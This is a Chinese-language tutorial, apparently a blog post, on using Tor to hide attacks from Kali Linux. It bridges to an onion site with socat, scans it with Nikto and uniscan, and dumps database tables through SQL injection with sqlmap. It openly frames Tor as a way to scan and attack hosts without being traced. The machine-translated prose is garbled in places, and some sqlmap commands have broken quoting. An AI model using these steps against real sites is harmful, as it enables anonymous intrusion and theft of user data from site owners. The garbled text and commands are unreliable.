kali中的黑客反追踪技术（ABEPT）

黑客使用 Tor 隐藏服务

TOR是什么？

使用代理服务器访问你需要访问的网络，这意味着你的每一次攻击可能都来自于世界各地，这就是TOR，并且该协议基于TCP动态加密，UDP,ICMP都是不可以的，所以这就使得TOR变成隐藏的工具的原理，该种方法基本意义上是无法追踪的。如果你要发动攻击，或者是扫描对方的主机，还不想别人发现你那么这绝对是一个不错的主意。

使用软件

要求

 kali Linux 操作系统
Tor
socat
Nikto
sqlmap
uniscan
>除了TOR其他工具KLAI都有

设置一个TOR隐藏服务

建立 Tor 隐藏服务相当简单，它需要一个 Web 服务器上启动和机器设置和 hiddenservicedir hiddenserviceport
torrc 位置: /etc/tor/torrc

nano /etc/tor/torrc

设置一个 Tor 隐藏服务、

TOR 的网站漏洞扫描

之前袭击任何服务无论是服务隐藏或不重要的是要做侦察的目标。这有助于攻击者在收集和记录各种信息的目标网站或 Web 应用程序。这种方法可以节省大量的时间通过 pentesters 做了一点侦察上的服务然后可以利用快速发现和利用的目标。
首先，我们需要建立一个代理服务器和 Tor的隐藏服务。
这可以通过使用 socat 。socat 是多功能的一个基于命令行实用工具，可以建立两个双向字节流和数据传送。socat 将帮助我们建立一个我们本地机器之间的连接和 Tor 隐藏服务。

tor （在终端启动 Tor）

一旦连接到 TOR 网络的新终端使用以下命令启动更换 socat (LPort ，洋葱地址、服务端口的 TOR 、 TOR socksport 是默认端口 9050 ）。
使用方法

socat TCP4-LISTEN:Port you want to listen for your connections,reuseaddr,fork SOCKS4A:127.0.0.1 onion address:port of the service,socksport=port where tor is listening (by default 9050)

例：

socat TCP4-LISTEN:8000,reuseaddr,fork SOCKS4A:127.0.0.1:gifkgytlfkxipqc6.onion:80,socksport=9050

建立好与TOR的隐藏代理服务后我们就能开始探测目标的网站了，一般我用的WEB扫描就是Nikto

或者是

uniscan -u http://127.0.0.1:8000 -qwedsrgj

服务器漏洞隐藏攻击（TOR漏洞隐藏攻击）

假如你的网站漏洞很多，那么就是用TOR来隐藏这些漏洞，现在我们将面对通过TOR隐藏过的网站发动攻击

Web 服务器和 Web 应用程序，运行 Tor 服务往往没有不同并且仍然可以保持许多攻击，例如 SQLI 在本教程中我将靶向使用 Tor 隐藏服务 SQLI 攻击 Tor 隐藏服务技术，但是并不限于 SQL 注入他们还持有其他诸如 XSS 漏洞。Tor 隐藏服务的各种目标也可以攻击。

数据库转储信息的使用 Tor 隐藏服务 sqlmap

Tor 隐藏服务可保持多种 SQLI 漏洞也记住， Tor 隐藏服务还可以保持盲 SQLI 漏洞。就像我们使用 sqlmap 的网站或 web 应用的标准还可以用来利用隐藏的服务。我想你知道如何进行攻击 SQLI Nmap 在不同服务器上可以容纳许多不同结构，我将列出一些基本命令用于靶向 sqlmap 隐藏服务。注意，所有裸露 Tor 隐藏服务不会含有相同 SQLI 漏洞，通常可以在盲命令仅作为示例提供的，如果你还是不理解 sqlmap 作品阅读第。

示例命令 sqlmap

sqlmap -u http://127.0.0.1:8000/Prototype/login.jsp --data uname=test&pass=test --dbs

得到数据库列表

sqlmap -u "http://127.0.0.1:8000/Prototype/login.jsp --data uname=test&pass=test -D prototype --tables

转储数据库表

sqlmap -u "http://127.0.0.1:8000/Prototype/login.jsp --data uname=test&pass=test -T members --dump

这仅仅是示例性的基本 SQL 注入攻击 Tor 隐藏服务如何可以被利用。在这篇文章中，我们靶向的 HTTP 服务器。攻击 Tor 隐藏服务不仅仅限于 HTTP 。攻击还可以在许多不同类型的服务和协议，诸如 FTP 服务器、 SSH 服务器只要 Tor 隐藏服务正在运行的服务可以基于 TCP 攻击使用 UDP 和 ICMP 的 Tor 网络。

标TOR是个不做的隐藏代理软件但需要恰当的配置，才能发挥好一定的目的，比较弱的tor配置只能使你被暴露。